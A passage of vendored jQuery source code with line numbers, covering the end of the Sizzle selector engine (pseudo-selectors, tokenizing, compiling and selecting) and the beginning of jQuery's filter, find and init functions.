).indexOf( text ) > -1; 2003 }; 2004 }), 2005 2006 // "Whether an element is represented by a :lang() selector 2007 // is based solely on the element's language value 2008 // being equal to the identifier C, 2009 // or beginning with the identifier C immediately followed by "-". 2010 // The matching of C against the element's language value is performed case-insensitively. 2011 // The identifier C does not have to be a valid language name." 2012 // http://www.w3.org/TR/selectors/#lang-pseudo 2013 "lang": markFunction( function( lang ) { 2014 // lang value must be a valid identifier 2015 if ( !ridentifier.test(lang || "") ) { 2016 Sizzle.error( "unsupported lang: " + lang ); 2017 } 2018 lang = lang.replace( runescape, funescape ).toLowerCase(); 2019 return function( elem ) { 2020 var elemLang; 2021 do { 2022 if ( (elemLang = documentIsHTML ? 2023 elem.lang : 2024 elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) { 2025 2026 elemLang = elemLang.toLowerCase(); 2027 return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; 2028 } 2029 } while ( (elem = elem.parentNode) && elem.nodeType === 1 ); 2030 return false;
vendor: 22,724 bytes, lines 2031-2853
2031 }; 2032 }), 2033 2034 // Miscellaneous 2035 "target": function( elem ) { 2036 var hash = window.location && window.location.hash; 2037 return hash && hash.slice( 1 ) === elem.id; 2038 }, 2039 2040 "root": function( elem ) { 2041 return elem === docElem; 2042 }, 2043 2044 "focus": function( elem ) { 2045 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex); 2046 }, 2047 2048 // Boolean properties 2049 "enabled": createDisabledPseudo( false ), 2050 "disabled": createDisabledPseudo( true ), 2051 2052 "checked": function( elem ) { 2053 // In CSS3, :checked should return both checked and selected elements 2054 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked 2055 var nodeName = elem.nodeName.toLowerCase(); 2056 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected); 2057 }, 2058 2059 "selected": function( elem ) { 2060 // Accessing this property makes selected-by-default 2061 // options in Safari work properly 2062 if ( elem.parentNode ) { 2063 elem.parentNode.selectedIndex; 2064 } 2065 2066 return elem.selected === true; 2067 }, 2068 2069 // Contents 2070 "empty": function( elem ) { 2071 // http://www.w3.org/TR/selectors/#empty-pseudo 2072 // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), 2073 // but not by others (comment: 8; processing instruction: 7; etc.) 2074 // nodeType < 6 works because attributes (2) do not appear as children 2075 for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { 2076 if ( elem.nodeType < 6 ) { 2077 return false; 2078 } 2079 } 2080 return true; 2081 }, 2082 2083 "parent": function( elem ) { 2084 return !Expr.pseudos["empty"]( elem ); 2085 }, 2086 2087 // Element/input types 2088 "header": function( elem ) { 2089 return rheader.test( elem.nodeName ); 2090 }, 2091 2092 "input": function( elem ) { 2093 return rinputs.test( elem.nodeName ); 2094 }, 2095 2096 "button": function( elem ) { 2097 var name = elem.nodeName.toLowerCase(); 2098 return name === "input" && elem.type === "button" || name === "button"; 2099 }, 2100 2101 "text": function( elem ) { 2102 var attr; 2103 return elem.nodeName.toLowerCase() === "input" && 2104 elem.type === "text" && 2105 2106 // Support: IE<8 2107 // New HTML5 attribute values (e.g., "search") appear with elem.type === "text" 2108 ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" ); 2109 }, 2110 2111 // Position-in-collection 2112 "first": createPositionalPseudo(function() { 2113 return [ 0 ]; 2114 }), 2115 2116 "last": createPositionalPseudo(function( matchIndexes, length ) { 2117 return [ length - 1 ]; 2118 }), 2119 2120 "eq": createPositionalPseudo(function( matchIndexes, length, argument ) { 2121 return [ argument < 0 ? argument + length : argument ]; 2122 }), 2123 2124 "even": createPositionalPseudo(function( matchIndexes, length ) { 2125 var i = 0; 2126 for ( ; i < length; i += 2 ) { 2127 matchIndexes.push( i ); 2128 } 2129 return matchIndexes; 2130 }), 2131 2132 "odd": createPositionalPseudo(function( matchIndexes, length ) { 2133 var i = 1; 2134 for ( ; i < length; i += 2 ) { 2135 matchIndexes.push( i ); 2136 } 2137 return matchIndexes; 2138 }), 2139 2140 "lt": createPositionalPseudo(function( matchIndexes, length, argument ) { 2141 var i = argument < 0 ? argument + length : argument; 2142 for ( ; --i >= 0; ) { 2143 matchIndexes.push( i ); 2144 } 2145 return matchIndexes; 2146 }), 2147 2148 "gt": createPositionalPseudo(function( matchIndexes, length, argument ) { 2149 var i = argument < 0 ? argument + length : argument; 2150 for ( ; ++i < length; ) { 2151 matchIndexes.push( i ); 2152 } 2153 return matchIndexes; 2154 }) 2155 } 2156}; 2157 2158Expr.pseudos["nth"] = Expr.pseudos["eq"]; 2159 2160// Add button/input type pseudos 2161for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { 2162 Expr.pseudos[ i ] = createInputPseudo( i ); 2163} 2164for ( i in { submit: true, reset: true } ) { 2165 Expr.pseudos[ i ] = createButtonPseudo( i ); 2166} 2167 2168// Easy API for creating new setFilters 2169function setFilters() {} 2170setFilters.prototype = Expr.filters = Expr.pseudos; 2171Expr.setFilters = new setFilters(); 2172 2173tokenize = Sizzle.tokenize = function( selector, parseOnly ) { 2174 var matched, match, tokens, type, 2175 soFar, groups, preFilters, 2176 cached = tokenCache[ selector + " " ]; 2177 2178 if ( cached ) { 2179 return parseOnly ? 0 : cached.slice( 0 ); 2180 } 2181 2182 soFar = selector; 2183 groups = []; 2184 preFilters = Expr.preFilter; 2185 2186 while ( soFar ) { 2187 2188 // Comma and first run 2189 if ( !matched || (match = rcomma.exec( soFar )) ) { 2190 if ( match ) { 2191 // Don't consume trailing commas as valid 2192 soFar = soFar.slice( match[0].length ) || soFar; 2193 } 2194 groups.push( (tokens = []) ); 2195 } 2196 2197 matched = false; 2198 2199 // Combinators 2200 if ( (match = rcombinators.exec( soFar )) ) { 2201 matched = match.shift(); 2202 tokens.push({ 2203 value: matched, 2204 // Cast descendant combinators to space 2205 type: match[0].replace( rtrim, " " ) 2206 }); 2207 soFar = soFar.slice( matched.length ); 2208 } 2209 2210 // Filters 2211 for ( type in Expr.filter ) { 2212 if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] || 2213 (match = preFilters[ type ]( match ))) ) { 2214 matched = match.shift(); 2215 tokens.push({ 2216 value: matched, 2217 type: type, 2218 matches: match 2219 }); 2220 soFar = soFar.slice( matched.length ); 2221 } 2222 } 2223 2224 if ( !matched ) { 2225 break; 2226 } 2227 } 2228 2229 // Return the length of the invalid excess 2230 // if we're just parsing 2231 // Otherwise, throw an error or return tokens 2232 return parseOnly ? 2233 soFar.length : 2234 soFar ? 2235 Sizzle.error( selector ) : 2236 // Cache the tokens 2237 tokenCache( selector, groups ).slice( 0 ); 2238}; 2239 2240function toSelector( tokens ) { 2241 var i = 0, 2242 len = tokens.length, 2243 selector = ""; 2244 for ( ; i < len; i++ ) { 2245 selector += tokens[i].value; 2246 } 2247 return selector; 2248} 2249 2250function addCombinator( matcher, combinator, base ) { 2251 var dir = combinator.dir, 2252 skip = combinator.next, 2253 key = skip || dir, 2254 checkNonElements = base && key === "parentNode", 2255 doneName = done++; 2256 2257 return combinator.first ? 2258 // Check against closest ancestor/preceding element 2259 function( elem, context, xml ) { 2260 while ( (elem = elem[ dir ]) ) { 2261 if ( elem.nodeType === 1 || checkNonElements ) { 2262 return matcher( elem, context, xml ); 2263 } 2264 } 2265 return false; 2266 } : 2267 2268 // Check against all ancestor/preceding elements 2269 function( elem, context, xml ) { 2270 var oldCache, uniqueCache, outerCache, 2271 newCache = [ dirruns, doneName ]; 2272 2273 // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching 2274 if ( xml ) { 2275 while ( (elem = elem[ dir ]) ) { 2276 if ( elem.nodeType === 1 || checkNonElements ) { 2277 if ( matcher( elem, context, xml ) ) { 2278 return true; 2279 } 2280 } 2281 } 2282 } else { 2283 while ( (elem = elem[ dir ]) ) { 2284 if ( elem.nodeType === 1 || checkNonElements ) { 2285 outerCache = elem[ expando ] || (elem[ expando ] = {}); 2286 2287 // Support: IE <9 only 2288 // Defend against cloned attroperties (jQuery gh-1709) 2289 uniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {}); 2290 2291 if ( skip && skip === elem.nodeName.toLowerCase() ) { 2292 elem = elem[ dir ] || elem; 2293 } else if ( (oldCache = uniqueCache[ key ]) && 2294 oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { 2295 2296 // Assign to newCache so results back-propagate to previous elements 2297 return (newCache[ 2 ] = oldCache[ 2 ]); 2298 } else { 2299 // Reuse newcache so results back-propagate to previous elements 2300 uniqueCache[ key ] = newCache; 2301 2302 // A match means we're done; a fail means we have to keep checking 2303 if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) { 2304 return true; 2305 } 2306 } 2307 } 2308 } 2309 } 2310 return false; 2311 }; 2312} 2313 2314function elementMatcher( matchers ) { 2315 return matchers.length > 1 ? 2316 function( elem, context, xml ) { 2317 var i = matchers.length; 2318 while ( i-- ) { 2319 if ( !matchers[i]( elem, context, xml ) ) { 2320 return false; 2321 } 2322 } 2323 return true; 2324 } : 2325 matchers[0]; 2326} 2327 2328function multipleContexts( selector, contexts, results ) { 2329 var i = 0, 2330 len = contexts.length; 2331 for ( ; i < len; i++ ) { 2332 Sizzle( selector, contexts[i], results ); 2333 } 2334 return results; 2335} 2336 2337function condense( unmatched, map, filter, context, xml ) { 2338 var elem, 2339 newUnmatched = [], 2340 i = 0, 2341 len = unmatched.length, 2342 mapped = map != null; 2343 2344 for ( ; i < len; i++ ) { 2345 if ( (elem = unmatched[i]) ) { 2346 if ( !filter || filter( elem, context, xml ) ) { 2347 newUnmatched.push( elem ); 2348 if ( mapped ) { 2349 map.push( i ); 2350 } 2351 } 2352 } 2353 } 2354 2355 return newUnmatched; 2356} 2357 2358function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { 2359 if ( postFilter && !postFilter[ expando ] ) { 2360 postFilter = setMatcher( postFilter ); 2361 } 2362 if ( postFinder && !postFinder[ expando ] ) { 2363 postFinder = setMatcher( postFinder, postSelector ); 2364 } 2365 return markFunction(function( seed, results, context, xml ) { 2366 var temp, i, elem, 2367 preMap = [], 2368 postMap = [], 2369 preexisting = results.length, 2370 2371 // Get initial elements from seed or context 2372 elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), 2373 2374 // Prefilter to get matcher input, preserving a map for seed-results synchronization 2375 matcherIn = preFilter && ( seed || !selector ) ? 2376 condense( elems, preMap, preFilter, context, xml ) : 2377 elems, 2378 2379 matcherOut = matcher ? 2380 // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results, 2381 postFinder || ( seed ? preFilter : preexisting || postFilter ) ? 2382 2383 // ...intermediate processing is necessary 2384 [] : 2385 2386 // ...otherwise use results directly 2387 results : 2388 matcherIn; 2389 2390 // Find primary matches 2391 if ( matcher ) { 2392 matcher( matcherIn, matcherOut, context, xml ); 2393 } 2394 2395 // Apply postFilter 2396 if ( postFilter ) { 2397 temp = condense( matcherOut, postMap ); 2398 postFilter( temp, [], context, xml ); 2399 2400 // Un-match failing elements by moving them back to matcherIn 2401 i = temp.length; 2402 while ( i-- ) { 2403 if ( (elem = temp[i]) ) { 2404 matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem); 2405 } 2406 } 2407 } 2408 2409 if ( seed ) { 2410 if ( postFinder || preFilter ) { 2411 if ( postFinder ) { 2412 // Get the final matcherOut by condensing this intermediate into postFinder contexts 2413 temp = []; 2414 i = matcherOut.length; 2415 while ( i-- ) { 2416 if ( (elem = matcherOut[i]) ) { 2417 // Restore matcherIn since elem is not yet a final match 2418 temp.push( (matcherIn[i] = elem) ); 2419 } 2420 } 2421 postFinder( null, (matcherOut = []), temp, xml ); 2422 } 2423 2424 // Move matched elements from seed to results to keep them synchronized 2425 i = matcherOut.length; 2426 while ( i-- ) { 2427 if ( (elem = matcherOut[i]) && 2428 (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) { 2429 2430 seed[temp] = !(results[temp] = elem); 2431 } 2432 } 2433 } 2434 2435 // Add elements to results, through postFinder if defined 2436 } else { 2437 matcherOut = condense( 2438 matcherOut === results ? 2439 matcherOut.splice( preexisting, matcherOut.length ) : 2440 matcherOut 2441 ); 2442 if ( postFinder ) { 2443 postFinder( null, results, matcherOut, xml ); 2444 } else { 2445 push.apply( results, matcherOut ); 2446 } 2447 } 2448 }); 2449} 2450 2451function matcherFromTokens( tokens ) { 2452 var checkContext, matcher, j, 2453 len = tokens.length, 2454 leadingRelative = Expr.relative[ tokens[0].type ], 2455 implicitRelative = leadingRelative || Expr.relative[" "], 2456 i = leadingRelative ? 1 : 0, 2457 2458 // The foundational matcher ensures that elements are reachable from top-level context(s) 2459 matchContext = addCombinator( function( elem ) { 2460 return elem === checkContext; 2461 }, implicitRelative, true ), 2462 matchAnyContext = addCombinator( function( elem ) { 2463 return indexOf( checkContext, elem ) > -1; 2464 }, implicitRelative, true ), 2465 matchers = [ function( elem, context, xml ) { 2466 var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( 2467 (checkContext = context).nodeType ? 2468 matchContext( elem, context, xml ) : 2469 matchAnyContext( elem, context, xml ) ); 2470 // Avoid hanging onto element (issue #299) 2471 checkContext = null; 2472 return ret; 2473 } ]; 2474 2475 for ( ; i < len; i++ ) { 2476 if ( (matcher = Expr.relative[ tokens[i].type ]) ) { 2477 matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; 2478 } else { 2479 matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches ); 2480 2481 // Return special upon seeing a positional matcher 2482 if ( matcher[ expando ] ) { 2483 // Find the next relative operator (if any) for proper handling 2484 j = ++i; 2485 for ( ; j < len; j++ ) { 2486 if ( Expr.relative[ tokens[j].type ] ) { 2487 break; 2488 } 2489 } 2490 return setMatcher( 2491 i > 1 && elementMatcher( matchers ), 2492 i > 1 && toSelector( 2493 // If the preceding token was a descendant combinator, insert an implicit any-element `*` 2494 tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" }) 2495 ).replace( rtrim, "$1" ), 2496 matcher, 2497 i < j && matcherFromTokens( tokens.slice( i, j ) ), 2498 j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), 2499 j < len && toSelector( tokens ) 2500 ); 2501 } 2502 matchers.push( matcher ); 2503 } 2504 } 2505 2506 return elementMatcher( matchers ); 2507} 2508 2509function matcherFromGroupMatchers( elementMatchers, setMatchers ) { 2510 var bySet = setMatchers.length > 0, 2511 byElement = elementMatchers.length > 0, 2512 superMatcher = function( seed, context, xml, results, outermost ) { 2513 var elem, j, matcher, 2514 matchedCount = 0, 2515 i = "0", 2516 unmatched = seed && [], 2517 setMatched = [], 2518 contextBackup = outermostContext, 2519 // We must always have either seed elements or outermost context 2520 elems = seed || byElement && Expr.find["TAG"]( "*", outermost ), 2521 // Use integer dirruns iff this is the outermost matcher 2522 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), 2523 len = elems.length; 2524 2525 if ( outermost ) { 2526 outermostContext = context === document || context || outermost; 2527 } 2528 2529 // Add elements passing elementMatchers directly to results 2530 // Support: IE<9, Safari 2531 // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id 2532 for ( ; i !== len && (elem = elems[i]) != null; i++ ) { 2533 if ( byElement && elem ) { 2534 j = 0; 2535 if ( !context && elem.ownerDocument !== document ) { 2536 setDocument( elem ); 2537 xml = !documentIsHTML; 2538 } 2539 while ( (matcher = elementMatchers[j++]) ) { 2540 if ( matcher( elem, context || document, xml) ) { 2541 results.push( elem ); 2542 break; 2543 } 2544 } 2545 if ( outermost ) { 2546 dirruns = dirrunsUnique; 2547 } 2548 } 2549 2550 // Track unmatched elements for set filters 2551 if ( bySet ) { 2552 // They will have gone through all possible matchers 2553 if ( (elem = !matcher && elem) ) { 2554 matchedCount--; 2555 } 2556 2557 // Lengthen the array for every element, matched or not 2558 if ( seed ) { 2559 unmatched.push( elem ); 2560 } 2561 } 2562 } 2563 2564 // `i` is now the count of elements visited above, and adding it to `matchedCount` 2565 // makes the latter nonnegative. 2566 matchedCount += i; 2567 2568 // Apply set filters to unmatched elements 2569 // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` 2570 // equals `i`), unless we didn't visit _any_ elements in the above loop because we have 2571 // no element matchers and no seed. 2572 // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that 2573 // case, which will result in a "00" `matchedCount` that differs from `i` but is also 2574 // numerically zero. 2575 if ( bySet && i !== matchedCount ) { 2576 j = 0; 2577 while ( (matcher = setMatchers[j++]) ) { 2578 matcher( unmatched, setMatched, context, xml ); 2579 } 2580 2581 if ( seed ) { 2582 // Reintegrate element matches to eliminate the need for sorting 2583 if ( matchedCount > 0 ) { 2584 while ( i-- ) { 2585 if ( !(unmatched[i] || setMatched[i]) ) { 2586 setMatched[i] = pop.call( results ); 2587 } 2588 } 2589 } 2590 2591 // Discard index placeholder values to get only actual matches 2592 setMatched = condense( setMatched ); 2593 } 2594 2595 // Add matches to results 2596 push.apply( results, setMatched ); 2597 2598 // Seedless set matches succeeding multiple successful matchers stipulate sorting 2599 if ( outermost && !seed && setMatched.length > 0 && 2600 ( matchedCount + setMatchers.length ) > 1 ) { 2601 2602 Sizzle.uniqueSort( results ); 2603 } 2604 } 2605 2606 // Override manipulation of globals by nested matchers 2607 if ( outermost ) { 2608 dirruns = dirrunsUnique; 2609 outermostContext = contextBackup; 2610 } 2611 2612 return unmatched; 2613 }; 2614 2615 return bySet ? 2616 markFunction( superMatcher ) : 2617 superMatcher; 2618} 2619 2620compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) { 2621 var i, 2622 setMatchers = [], 2623 elementMatchers = [], 2624 cached = compilerCache[ selector + " " ]; 2625 2626 if ( !cached ) { 2627 // Generate a function of recursive functions that can be used to check each element 2628 if ( !match ) { 2629 match = tokenize( selector ); 2630 } 2631 i = match.length; 2632 while ( i-- ) { 2633 cached = matcherFromTokens( match[i] ); 2634 if ( cached[ expando ] ) { 2635 setMatchers.push( cached ); 2636 } else { 2637 elementMatchers.push( cached ); 2638 } 2639 } 2640 2641 // Cache the compiled function 2642 cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); 2643 2644 // Save selector and tokenization 2645 cached.selector = selector; 2646 } 2647 return cached; 2648}; 2649 2650/** 2651 * A low-level selection function that works with Sizzle's compiled 2652 * selector functions 2653 * @param {String|Function} selector A selector or a pre-compiled 2654 * selector function built with Sizzle.compile 2655 * @param {Element} context 2656 * @param {Array} [results] 2657 * @param {Array} [seed] A set of elements to match against 2658 */ 2659select = Sizzle.select = function( selector, context, results, seed ) { 2660 var i, tokens, token, type, find, 2661 compiled = typeof selector === "function" && selector, 2662 match = !seed && tokenize( (selector = compiled.selector || selector) ); 2663 2664 results = results || []; 2665 2666 // Try to minimize operations if there is only one selector in the list and no seed 2667 // (the latter of which guarantees us context) 2668 if ( match.length === 1 ) { 2669 2670 // Reduce context if the leading compound selector is an ID 2671 tokens = match[0] = match[0].slice( 0 ); 2672 if ( tokens.length > 2 && (token = tokens[0]).type === "ID" && 2673 context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) { 2674 2675 context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0]; 2676 if ( !context ) { 2677 return results; 2678 2679 // Precompiled matchers will still verify ancestry, so step up a level 2680 } else if ( compiled ) { 2681 context = context.parentNode; 2682 } 2683 2684 selector = selector.slice( tokens.shift().value.length ); 2685 } 2686 2687 // Fetch a seed set for right-to-left matching 2688 i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length; 2689 while ( i-- ) { 2690 token = tokens[i]; 2691 2692 // Abort if we hit a combinator 2693 if ( Expr.relative[ (type = token.type) ] ) { 2694 break; 2695 } 2696 if ( (find = Expr.find[ type ]) ) { 2697 // Search, expanding context for leading sibling combinators 2698 if ( (seed = find( 2699 token.matches[0].replace( runescape, funescape ), 2700 rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context 2701 )) ) { 2702 2703 // If seed is empty or no tokens remain, we can return early 2704 tokens.splice( i, 1 ); 2705 selector = seed.length && toSelector( tokens ); 2706 if ( !selector ) { 2707 push.apply( results, seed ); 2708 return results; 2709 } 2710 2711 break; 2712 } 2713 } 2714 } 2715 } 2716 2717 // Compile and execute a filtering function if one is not provided 2718 // Provide `match` to avoid retokenization if we modified the selector above 2719 ( compiled || compile( selector, match ) )( 2720 seed, 2721 context, 2722 !documentIsHTML, 2723 results, 2724 !context || rsibling.test( selector ) && testContext( context.parentNode ) || context 2725 ); 2726 return results; 2727}; 2728 2729// One-time assignments 2730 2731// Sort stability 2732support.sortStable = expando.split("").sort( sortOrder ).join("") === expando; 2733 2734// Support: Chrome 14-35+ 2735// Always assume duplicates if they aren't passed to the comparison function 2736support.detectDuplicates = !!hasDuplicate; 2737 2738// Initialize against the default document 2739setDocument(); 2740 2741// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27) 2742// Detached nodes confoundingly follow *each other* 2743support.sortDetached = assert(function( el ) { 2744 // Should return 1, but returns 4 (following) 2745 return el.compareDocumentPosition( document.createElement("fieldset") ) & 1; 2746}); 2747 2748// Support: IE<8 2749// Prevent attribute/property "interpolation" 2750// https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx 2751if ( !assert(function( el ) { 2752 el.innerHTML = "<a href='#'></a>"; 2753 return el.firstChild.getAttribute("href") === "#" ; 2754}) ) { 2755 addHandle( "type|href|height|width", function( elem, name, isXML ) { 2756 if ( !isXML ) { 2757 return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 ); 2758 } 2759 }); 2760} 2761 2762// Support: IE<9 2763// Use defaultValue in place of getAttribute("value") 2764if ( !support.attributes || !assert(function( el ) { 2765 el.innerHTML = "<input/>"; 2766 el.firstChild.setAttribute( "value", "" ); 2767 return el.firstChild.getAttribute( "value" ) === ""; 2768}) ) { 2769 addHandle( "value", function( elem, name, isXML ) { 2770 if ( !isXML && elem.nodeName.toLowerCase() === "input" ) { 2771 return elem.defaultValue; 2772 } 2773 }); 2774} 2775 2776// Support: IE<9 2777// Use getAttributeNode to fetch booleans when getAttribute lies 2778if ( !assert(function( el ) { 2779 return el.getAttribute("disabled") == null; 2780}) ) { 2781 addHandle( booleans, function( elem, name, isXML ) { 2782 var val; 2783 if ( !isXML ) { 2784 return elem[ name ] === true ? name.toLowerCase() : 2785 (val = elem.getAttributeNode( name )) && val.specified ? 2786 val.value : 2787 null; 2788 } 2789 }); 2790} 2791 2792return Sizzle; 2793 2794})( window ); 2795 2796 2797 2798jQuery.find = Sizzle; 2799jQuery.expr = Sizzle.selectors; 2800 2801// Deprecated 2802jQuery.expr[ ":" ] = jQuery.expr.pseudos; 2803jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort; 2804jQuery.text = Sizzle.getText; 2805jQuery.isXMLDoc = Sizzle.isXML; 2806jQuery.contains = Sizzle.contains; 2807jQuery.escapeSelector = Sizzle.escape; 2808 2809 2810 2811 2812var dir = function( elem, dir, until ) { 2813 var matched = [], 2814 truncate = until !== undefined; 2815 2816 while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { 2817 if ( elem.nodeType === 1 ) { 2818 if ( truncate && jQuery( elem ).is( until ) ) { 2819 break; 2820 } 2821 matched.push( elem ); 2822 } 2823 } 2824 return matched; 2825}; 2826 2827 2828var siblings = function( n, elem ) { 2829 var matched = []; 2830 2831 for ( ; n; n = n.nextSibling ) { 2832 if ( n.nodeType === 1 && n !== elem ) { 2833 matched.push( n ); 2834 } 2835 } 2836 2837 return matched; 2838}; 2839 2840 2841var rneedsContext = jQuery.expr.match.needsContext; 2842 2843 2844 2845function nodeName( elem, name ) { 2846 2847 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); 2848 2849}; 2850var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); 2851 2852 2853
vendor: 1,441 bytes, lines 2854-2902
2854var risSimple = /^.[^:#\[\.,]*$/; 2855 2856// Implement the identical functionality for filter and not 2857function winnow( elements, qualifier, not ) { 2858 if ( jQuery.isFunction( qualifier ) ) { 2859 return jQuery.grep( elements, function( elem, i ) { 2860 return !!qualifier.call( elem, i, elem ) !== not; 2861 } ); 2862 } 2863 2864 // Single element 2865 if ( qualifier.nodeType ) { 2866 return jQuery.grep( elements, function( elem ) { 2867 return ( elem === qualifier ) !== not; 2868 } ); 2869 } 2870 2871 // Arraylike of elements (jQuery, arguments, Array) 2872 if ( typeof qualifier !== "string" ) { 2873 return jQuery.grep( elements, function( elem ) { 2874 return ( indexOf.call( qualifier, elem ) > -1 ) !== not; 2875 } ); 2876 } 2877 2878 // Simple selector that can be filtered directly, removing non-Elements 2879 if ( risSimple.test( qualifier ) ) { 2880 return jQuery.filter( qualifier, elements, not ); 2881 } 2882 2883 // Complex selector, compare the two sets, removing non-Elements 2884 qualifier = jQuery.filter( qualifier, elements ); 2885 return jQuery.grep( elements, function( elem ) { 2886 return ( indexOf.call( qualifier, elem ) > -1 ) !== not && elem.nodeType === 1; 2887 } ); 2888} 2889 2890jQuery.filter = function( expr, elems, not ) { 2891 var elem = elems[ 0 ]; 2892 2893 if ( not ) { 2894 expr = ":not(" + expr + ")"; 2895 } 2896 2897 if ( elems.length === 1 && elem.nodeType === 1 ) { 2898 return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : []; 2899 } 2900 2901 return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { 2902 return elem.nodeType === 1;
vendor: 4,831 bytes, lines 2903-3098
2903 } ) ); 2904}; 2905 2906jQuery.fn.extend( { 2907 find: function( selector ) { 2908 var i, ret, 2909 len = this.length, 2910 self = this; 2911 2912 if ( typeof selector !== "string" ) { 2913 return this.pushStack( jQuery( selector ).filter( function() { 2914 for ( i = 0; i < len; i++ ) { 2915 if ( jQuery.contains( self[ i ], this ) ) { 2916 return true; 2917 } 2918 } 2919 } ) ); 2920 } 2921 2922 ret = this.pushStack( [] ); 2923 2924 for ( i = 0; i < len; i++ ) { 2925 jQuery.find( selector, self[ i ], ret ); 2926 } 2927 2928 return len > 1 ? jQuery.uniqueSort( ret ) : ret; 2929 }, 2930 filter: function( selector ) { 2931 return this.pushStack( winnow( this, selector || [], false ) ); 2932 }, 2933 not: function( selector ) { 2934 return this.pushStack( winnow( this, selector || [], true ) ); 2935 }, 2936 is: function( selector ) { 2937 return !!winnow( 2938 this, 2939 2940 // If this is a positional/relative selector, check membership in the returned set 2941 // so $("p:first").is("p:last") won't return true for a doc with two "p". 2942 typeof selector === "string" && rneedsContext.test( selector ) ? 2943 jQuery( selector ) : 2944 selector || [], 2945 false 2946 ).length; 2947 } 2948} ); 2949 2950 2951// Initialize a jQuery object 2952 2953 2954// A central reference to the root jQuery(document) 2955var rootjQuery, 2956 2957 // A simple way to check for HTML strings 2958 // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) 2959 // Strict HTML recognition (#11290: must start with <) 2960 // Shortcut simple #id case for speed 2961 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, 2962 2963 init = jQuery.fn.init = function( selector, context, root ) { 2964 var match, elem; 2965 2966 // HANDLE: $(""), $(null), $(undefined), $(false) 2967 if ( !selector ) { 2968 return this; 2969 } 2970 2971 // Method init() accepts an alternate rootjQuery 2972 // so migrate can support jQuery.sub (gh-2101) 2973 root = root || rootjQuery; 2974 2975 // Handle HTML strings 2976 if ( typeof selector === "string" ) { 2977 if ( selector[ 0 ] === "<" && 2978 selector[ selector.length - 1 ] === ">" && 2979 selector.length >= 3 ) { 2980 2981 // Assume that strings that start and end with <> are HTML and skip the regex check 2982 match = [ null, selector, null ]; 2983 2984 } else { 2985 match = rquickExpr.exec( selector ); 2986 } 2987 2988 // Match html or make sure no context is specified for #id 2989 if ( match && ( match[ 1 ] || !context ) ) { 2990 2991 // HANDLE: $(html) -> $(array) 2992 if ( match[ 1 ] ) { 2993 context = context instanceof jQuery ? context[ 0 ] : context; 2994 2995 // Option to run scripts is true for back-compat 2996 // Intentionally let the error be thrown if parseHTML is not present 2997 jQuery.merge( this, jQuery.parseHTML( 2998 match[ 1 ], 2999 context && context.nodeType ? context.ownerDocument || context : document, 3000 true 3001 ) ); 3002 3003 // HANDLE: $(html, props) 3004 if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { 3005 for ( match in context ) { 3006 3007 // Properties of context are called as methods if possible 3008 if ( jQuery.isFunction( this[ match ] ) ) { 3009 this[ match ]( context[ match ] ); 3010 3011 // ...and otherwise set as attributes 3012 } else { 3013 this.attr( match, context[ match ] ); 3014 } 3015 } 3016 } 3017 3018 return this; 3019 3020 // HANDLE: $(#id) 3021 } else { 3022 elem = document.getElementById( match[ 2 ] ); 3023 3024 if ( elem ) { 3025 3026 // Inject the element directly into the jQuery object 3027 this[ 0 ] = elem; 3028 this.length = 1; 3029 } 3030 return this; 3031 } 3032 3033 // HANDLE: $(expr, $(...)) 3034 } else if ( !context || context.jquery ) { 3035 return ( context || root ).find( selector ); 3036 3037 // HANDLE: $(expr, context) 3038 // (which is just equivalent to: $(context).find(expr) 3039 } else { 3040 return this.constructor( context ).find( selector ); 3041 } 3042 3043 // HANDLE: $(DOMElement) 3044 } else if ( selector.nodeType ) { 3045 this[ 0 ] = selector; 3046 this.length = 1; 3047 return this; 3048 3049 // HANDLE: $(function) 